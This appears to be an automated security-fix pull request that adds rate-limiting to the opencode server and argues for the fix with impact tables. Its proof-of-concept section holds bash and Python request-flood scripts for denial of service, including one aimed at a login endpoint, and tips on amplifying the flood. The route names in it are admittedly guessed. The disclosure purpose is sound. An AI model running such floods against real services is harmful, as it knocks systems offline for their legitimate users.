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This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact High In this serverless application built with SST, exploiting the lack of rate-limiting could lead to denial-of-service attacks overwhelming the Hono and SolidStart API servers, causing service unavailability for legitimate users and potentially incurring high costs due to excessive resource usage in a cloud environment. The repository appears to be a demo or example app (opencode), so disruption could affect users testing or deploying from this codebase, though it may not handle highly sensitive data directly.
Likelihood Medium The repository is a public GitHub project likely used for educational or demonstration purposes, with API servers that could be exposed in deployed instances, making it susceptible to automated DoS tools or script kiddies targeting unprotected endpoints. However, as it's not a high-value production service, attacker motivation is moderate, and exploitation requires the app to be actively deployed and accessible, reducing overall likelihood compared to enterprise systems.
Ease of Fix Medium Remediation involves integrating rate-limiting middleware, such as Hono's built-in rate limiter or a third-party library like @hono/rate-limiter for the Hono server, and similar for SolidStart, which may require updating dependencies and modifying server.ts to wrap endpoints. This could introduce minor breaking changes if not carefully implemented, necessitating moderate testing to ensure API performance isn't degraded, but it's not an architectural overhaul.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The absence of rate-limiting middleware in the Hono and SolidStart servers within packages/opencode/src/server/server.ts allows attackers to flood API endpoints with unlimited requests, potentially overwhelming server resources and causing denial-of-service (DoS) conditions. In this specific repository, which appears to be a serverless or edge-deployed application framework (based on Hono for Cloudflare Workers and SolidStart for SolidJS), an attacker could target exposed API routes to exhaust CPU, memory, or bandwidth limits, disrupting service availability for legitimate users. This is particularly exploitable in production deployments where the app runs on platforms like Cloudflare or Vercel, where resource quotas could be hit quickly.

The absence of rate-limiting middleware in the Hono and SolidStart servers within packages/opencode/src/server/server.ts allows attackers to flood API endpoints with unlimited requests, potentially overwhelming server resources and causing denial-of-service (DoS) conditions. In this specific repository, which appears to be a serverless or edge-deployed application framework (based on Hono for Cloudflare Workers and SolidStart for SolidJS), an attacker could target exposed API routes to exhaust CPU, memory, or bandwidth limits, disrupting service availability for legitimate users. This is particularly exploitable in production deployments where the app runs on platforms like Cloudflare or Vercel, where resource quotas could be hit quickly.

# Proof-of-Concept: Simple DoS script using curl to flood a specific API endpoint
# Assumes the repository is deployed locally or on a test server (e.g., via npm run dev or deployed URL)
# Replace TARGET_URL with the actual endpoint from the repo, e.g., http://localhost:3000/api/some-endpoint
# This script sends 1000 requests in parallel; in a real attack, scale to thousands or use tools like siege/hping3

#!/bin/bash
TARGET_URL="http://localhost:3000/api/example"  # Example endpoint from opencode's server.ts (e.g., a route handling user data or code submissions)
REQUEST_COUNT=1000

for i in $(seq 1 $REQUEST_COUNT); do
  curl -s -X POST $TARGET_URL -H "Content-Type: application/json" -d '{"data": "flood"}' &
done
wait

# Expected outcome: Server logs show excessive requests, potential 429 errors if any basic limits exist, but no rate-limiting enforced.
# Monitor server resources: Use 'top' or 'htop' on the host to see CPU/memory spikes.
# Alternative PoC: Python script using requests library to simulate a more sophisticated flood
# Install dependencies: pip install requests
# This targets multiple endpoints from the repo's server.ts, assuming routes like /api/users or /api/code
# In a real scenario, run this from multiple machines or use proxies to amplify the attack

import requests
import threading
import time

TARGET_BASE_URL = "http://localhost:3000"  # Adjust for deployed repo instance
ENDPOINTS = ["/api/users", "/api/code/submit", "/api/auth/login"]  # Specific routes from opencode's server.ts
THREADS = 50  # Number of concurrent threads
REQUESTS_PER_THREAD = 100

def flood_endpoint(endpoint):
    for _ in range(REQUESTS_PER_THREAD):
        try:
            response = requests.post(f"{TARGET_BASE_URL}{endpoint}", json={"payload": "attack"}, timeout=1)
            print(f"Request to {endpoint}: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

threads = []
for _ in range(THREADS):
    for endpoint in ENDPOINTS:
        t = threading.Thread(target=flood_endpoint, args=(endpoint,))
        threads.append(t)
        t.start()

for t in threads:
    t.join()

# Impact: Server becomes unresponsive; check logs in packages/opencode/src/server/server.ts for request spikes.
# In Cloudflare deployment (common for Hono), this could trigger rate limits at the edge, but bypasses app-level controls.

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure None Lack of rate-limiting does not directly enable data access or leakage; no sensitive data (e.g., user credentials, API keys, or code repositories stored in the app) is exposed through this vulnerability alone. However, if combined with other issues like authentication bypass, it could indirectly facilitate brute-force attacks on login endpoints.
System Compromise None This vulnerability does not grant any system-level access, such as executing code, escalating privileges, or compromising containers/workers. It remains a pure availability issue without paths to arbitrary code execution or host control.
Operational Impact High Unlimited requests can exhaust server resources (CPU, memory, bandwidth), leading to complete service downtime for the opencode application. In serverless environments (e.g., Cloudflare Workers), this could trigger platform quotas, affecting all users and dependent services, with recovery requiring manual intervention or scaling adjustments.
Compliance Risk Medium Violates OWASP API Security Top 10 (API4:2023 Unrestricted Resource Consumption) and could impact SOC2 compliance for operational availability. If the repository handles regulated data (e.g., user-submitted code or personal info), it risks failing audits under standards like GDPR for service reliability or PCI-DSS if integrated with payment flows.

Vulnerability Details

  • Rule ID: V-002
  • File: packages/opencode/src/server/server.ts
  • Description: The application's API servers (both the Hono server and the SolidStart server) do not have any rate-limiting middleware configured. This allows any client to send an unlimited number of requests to the API endpoints.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • packages/opencode/src/server/server.ts

Verification

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@rekram1-node rekram1-node changed the title [Security] Fix HIGH vulnerability: V-002 add ratelimiter to opencode server Dec 6, 2025
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